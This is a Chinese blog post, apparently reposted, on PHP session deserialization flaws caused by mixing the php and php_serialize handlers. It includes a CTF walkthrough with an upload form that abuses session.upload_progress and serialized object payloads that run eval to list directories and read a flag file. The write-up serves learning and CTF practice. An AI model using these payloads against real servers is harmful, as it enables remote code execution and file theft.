PHP反序列化與Session


0x00前言:

php存儲session有三種模式,php_serialize, php, binary

這里着重討論php_serialize和php的不合理使用導致的安全問題

關於session的存儲,java是將用戶的session存入內存中,而php則是將session以文件的形式存儲在服務器某個tmp文件中,可以在php.ini里面設置session.save_path存儲的位置

 

設置序列化規則則是

注意,php_serialize在5.5版本后新加的一種規則,5.4及之前版本,如果設置成php_serialize會報錯

session.serialize_handler = php              一直都在            它是用 |分割
session.serialize_handler = php_serialize    5.5之后啟用         它是用serialize反序列化格式分割

首先看session.serialize_handler = php序列化的結果

 

它的規則是$_SESSION是個數組,數組中的鍵和值中間用 | 來分割,值如果是數組或對象按照序列化的格式存儲

 

然后看看session.serialize_handler = php_serialize的序列化結果

它是全程按照serialize的格式序列化了$_SESSION這個數組

它比php的格式多了個最前面多了個 "a:2:{ ...." 也就是$_SESSION這個數組有2個元素,還有個區別在於,它的鍵名也表明了長度和屬性,中間用 ; 來隔開鍵值對

雖然2個序列化格式本身沒有問題,但是如果2個混合起用就會造成危害

形成原理是在用session.serialize_handler = php_serialize存儲的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時 "|"會被當成鍵值對的分隔符

比如,我先用php存了個數組,在$_SESSION['b']的值里面加入 | ,並在之后寫成一個數組的序列化格式

 

如果正常的用php_serialize解析,它返回的是$_SESSION['b']是個長度為44的字符串

 

如果用php進行解析,發現它理解為一個很長的名字的值是一個帶了2個元素的數組

 

 

0x01一道CTF題目:

題目是道網上常常拿來做例子的一道php反序列化題目

題目連接:http://web.jarvisoj.com:32784/

源碼已經給出,如下

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

能夠查看phpinfo,於是發現全局用的php_serialize進行序列化,而這個頁面是以php來進行解析的

那么可以利用上面的理論進行事先准備個$this->mdzz= 'payload' 進行攻擊

問題是怎么將payload寫入session,這里php有個上傳文件的會將文件名寫入session的技巧

https://bugs.php.net/bug.php?id=71101

原文意思大致要求滿足以下2個條件就會寫入到session中

session.upload_progress.enabled = On
上傳一個字段的屬性名和session.upload_progress.name的值相,這里根據上面的phpinfo信息看得出,值為PHP_SESSION_UPLOAD_PROGRESS,即
name="PHP_SESSION_UPLOAD_PROGRESS"

寫好腳本

<html>
<head>
    <title>upload</title>
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>

</html>

注意這里 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能為空

這里根據題目的類,需要修改mdzz這個屬性,於是寫個php生成payload,因為看看phpinfo的禁用函數,能調用系統的函數都被ban了,於是只能用var_dump,scandir和file_get_contents來讀取flag

<?php
class OowoO
{
    public $mdzz = "var_dump(scandir('./'));";
   
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a = new OowoO();
echo serialize($a) . "<br>";
?>

生成payload

O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
當然這個是不行的,我們要稍微改一下,"要轉義,前面加個|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}

先隨便傳個文件,把包抓下來,把文件名改成我們的payload

 

能夠查看到根目錄的情況了

 網上有個payload是直接用

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

我因為太菜最先沒想到,於是去看了下phpinfo的session的存放位置,有個/opt/lampp/估計是裝的的xampp這個集成的環境,而這個集成環境的web頁面放在htdocs目錄下的

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}

 看到flag文件了

接下來是讀取,這里額外提一句file_put_contents和fie_get_contents能夠使用php://filter偽協議,但這里用var_dump導出來,不是文件包含,看下源碼就能找打答案

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}

 

0x03環境復現:

因為最先學習這道題的時候想看看session文件,於是在本地搭建了個環境

<?php
ini_set('session.serialize_handler', 'php');

session_start();
var_dump($_SESSION);
echo "<br>";
class test
{
    public $wd; 
    function __destruct()
    {
        eval($this->wd);
    }
}
?>

最先我用一個文件直接生產用php_serialize規則序列化並直接存在session中

然后訪問模擬搭建的頁面,漏洞能夠利用成功

 

 

於是我改用文件上傳的形式,結果死活沒法生成正確的session

再看看session文件,啥都沒寫入

這是為什么,想了一晚上,看了看phpinfo的信息,上傳保留session的enabled是默認開啟的,session.upload_progress.name也是默認

 

上傳的html頁面能在上面的ctf題中成功運行,說明不是上傳的請求頭格式問題

payload如果寫入session文件中也能正常觸發phpinfo

但是現在的問題是session寫不進去,於是估計是配置問題了。

我再讀了遍:https://bugs.php.net/bug.php?id=71101

發現它給出它的運行環境的配置,於是我按照它的ini對應的配置,再配了遍自己的php.ini,發現很多配置都是被注釋掉的,也就是默認的值

最后成功執行了

 

 

 session文件也寫入了,可以仔細看看寫的session文件內容

因為用php解析了,為了使解析格式正確,它直接丟掉了些 },如果正常解析的話,可以看出多了很多鍵值對,但是正是因為用php解析, |前面的所有字符都當做鍵名,而后面的payload則被反序列化,造成漏洞利用

 

再回到為什么之前不行,現在可以運行的問題上,最后我測試了是 session.upload_progress.cleanup這個參數

session.upload_progress.cleanup = Off

這個要為Off或者0,才能將上傳的內容保存到session,但是,php默認的是On,所有最先死活傳不上去

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM